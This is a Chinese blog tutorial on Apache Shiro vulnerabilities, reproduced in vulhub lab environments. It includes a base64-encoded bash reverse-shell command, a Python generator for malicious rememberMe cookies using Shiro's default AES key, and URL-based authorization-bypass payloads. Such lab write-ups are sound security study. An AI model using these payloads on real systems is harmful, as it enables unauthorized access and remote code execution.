框架、组件漏洞系列4:Apache shiro漏洞汇总

在这里插入图片描述

一、Apache Shiro 简介

1、什么是shiro

Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。

Shiro将目标集中于Shiro开发团队所称的“四大安全基石”-认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography):

  • 认证(Authentication):用户身份识别。有时可看作为“登录(login)”,它是用户证明自己是谁的一个行为。
  • 授权(Authorization):访问控制过程,好比决定“认证(who)”可以访问“什么(what)”.
  • 会话管理(SessionManagement):管理用户的会话(sessions),甚至在没有WEB或EJB容器的环境中。管理用户与时间相关的状态。
  • 加密(Cryptography):使用加密算法保护数据更加安全,防止数据被偷窥。

对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。并且相对于其他安全框架,Shiro要简单的多。

详细信息: 百度百科-shiro安全框架

2、历史漏洞信息

详细漏洞信息请参考阿里云漏洞库,部分漏洞信息如下:

  • Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】
  • Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】
  • Apache Shiro < 1.4.2 cookie oracle padding漏洞 【CVE-2019-12442】
  • Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957】
  • Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989】
  • Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933】
  • Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523】

3、Shiro框架指纹识别

在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。

二、Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞

1、漏洞介绍

漏洞原理: Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。因此该漏洞的关键点就在于找到AES的加密秘钥。

又因为Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),因此对于漏洞利用也产生了更加直接的危害。同很多开源项目也使用了shiro,存在公用AES秘钥的情况,也增加了秘钥泄露的风险。

漏洞分析: 和天网安实验室知乎文章

2、漏洞复现

  • 打开复现环境(使用vulhub docker 搭建),是一个默认的登录框,输入信息,勾选 Remember me,提交,查看返回的数据包,set-Cookie字段存在remenberme=deleteme,熟悉该漏洞的肯定瞬间就乐了,这正是shiro存在反序列化漏洞的经典标志。
    在这里插入图片描述

  • 进行漏洞利用第一步,使用jackson编码反弹shell的命令。
    在这里插入图片描述

  • d第二步:使用ysoserial中JRMP监听模块,监听6666端口。

    执行命令:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
    在这里插入图片描述

  • 第三步:使用nc监听攻击机上的7777端口: nc -lvvp 7777

  • 第四步:使用shiro-exploit.py获取shiro的默认key (工具地址:https://github.com/insightglacier/Shiro_exploit)
    在这里插入图片描述

  • 第五步:使用shiro.py生成payload(需要自己改key,shiro.py代码如下:)

    命令:shiro.py 192.168.17.132:6666

    shiro.py:

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
     
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])   
    print ("rememberMe={0}".format(payload.decode()))
    

    在这里插入图片描述

  • 第六步:登录后抓包,替换数据包中的cookie值为shiro.py生成的rememberMe。
    在这里插入图片描述

  • 反弹sehll成功。
    在这里插入图片描述

三、Apache Shiro < 1.5.2 验证绕过漏洞

1、漏洞介绍

漏洞简介: CVE-2020-1957,Spring Boot中使用Apache Shiro进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro和Spring Boot对URL的处理的差异化,可以绕过Apache Shiro对Spring Boot中的Servlet的权限控制,越权并实现未授权访问。

攻击payload: /xxxxx/..;/admin

权限绕过的基本原理: 传入的恶意访问路径/xxxxx/..;/admin,经过shiro校验处理时,会在;处进行截断,对/xxxxx/..路径进行权限校验,而该路径又恰好满足校验规则,从而检验成功后将传入的路径/xxxxx/..;/admin交给spring boot 的控制器进行解析,而spring boot的解析后的路径是访问/admin,从而返回/admin路径下的内容给攻击者,从而实现权限绕过。

**漏洞详细分析: **先知论坛“茜さす”的博客

2、漏洞复现

  • 启用vulhub的CVE-2020-1957的漏洞环境,访问admin路径,跳转到login页面,说明存在权限认证。
    在这里插入图片描述

  • 使用攻击payload /xxxxx/..;/admin 进行访问,成功绕过权限认证,范文到admin路径。
    在这里插入图片描述

四、Apache Shiro < 1.5.3 验证绕过漏洞

1、漏洞介绍

漏洞原理:

和CVE-2020-1957的shiro权限绕过类似,都是由于shiro和springBoot的验证机制差异化导致的。我们在访问一个被不需要鉴权就能访问的页面的时候,如果在后面加上;/一个需要权限的路径,在分号的地方会被shiro截断,从而绕过鉴权。

漏洞分析: 先知论坛 13yxd博客

2、漏洞复现

此处偷个懒,使用CVE-2020-1957的环境进行复现。

我们找一个不需要鉴权的页面进行访问,比如根目录。在其后加上;,再加上一个需要鉴权的目录进行访问(/admin/)。访问结果如下,成功绕过鉴权访问到admin目录:
在这里插入图片描述

五、Apahce Shiro < 1.6.0 验证绕过漏洞

1、漏洞介绍

漏洞原理: Apache Shiro的CVE-2020-11989修补补丁依旧存在缺陷,由于shiro和spring在处理url中仍然存在差别,通过构造特殊的HTTP请求,可以再次绕过授权,访问未授权的信息。其关键点还是在于shiro对URI的处理与Spring对URI处理方式的不同。

此次漏洞的不同点在于,传入一个payload:/admin/%3bpage后,shiro是先url解码再去除;,而spring则相反,是先去除;再进行url解码。因此导致漏洞。

漏洞分析: 先知论坛ELPSYCONGROO的博客

2、漏洞复现

访问漏洞环境(漏洞环境在 http://vulfocus.fofa.so),输入payload为: /admin/%3bxxxx,成功访问到受保护的页面。
在这里插入图片描述

3、漏洞对比

CVE-2020-13933虽然是CVE-2020-11989的绕过,然而两者的绕过内容却不同。

11989针对于/admin/page,这种固定路由,shiro得到的地址为/,因此认为可以访问,Spring得到的地址为/admin/page,从而定位到未授权的页面

13933则是匹配非固定地址路由,比如/admin/{name},因为shiro得到的是/admin/,是个目录,默认是可以访问的,只是该目录下的资源需要验证,而Spring得到的是/admin/;page,如果也采取固定路由,则会因为找不到;page,从而返回404

六、Apahce Shiro < 1.7.1 权限绕过漏洞

1、漏洞介绍

漏洞原理:

和其他shiro权限绕过漏洞一样,其基本原因都是在于其鉴权机制和spring鉴权机制不一样,导致的权限绕过。其被绕过的原因在于,访问一个受限的目录,在其目录后面加上一个空格,成为受限目录/%20/这样的形式的时候,由于shiro在校验时,会删除字符串中的空格,导致匹配失败,该路径就不会进行鉴权。而spring在匹配是,匹配到的就是正常输入的路径 /受限目录/%20 ,就会按照正常逻辑进行响应,造成鉴权绕过。

漏洞分析: jweny的先知社区

2、漏洞复现

漏洞环境: http://vulfocus.fofa.so/

按照payload,访问/admin/%20/,成功绕过鉴权访问到admin页面
在这里插入图片描述

  • 4
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值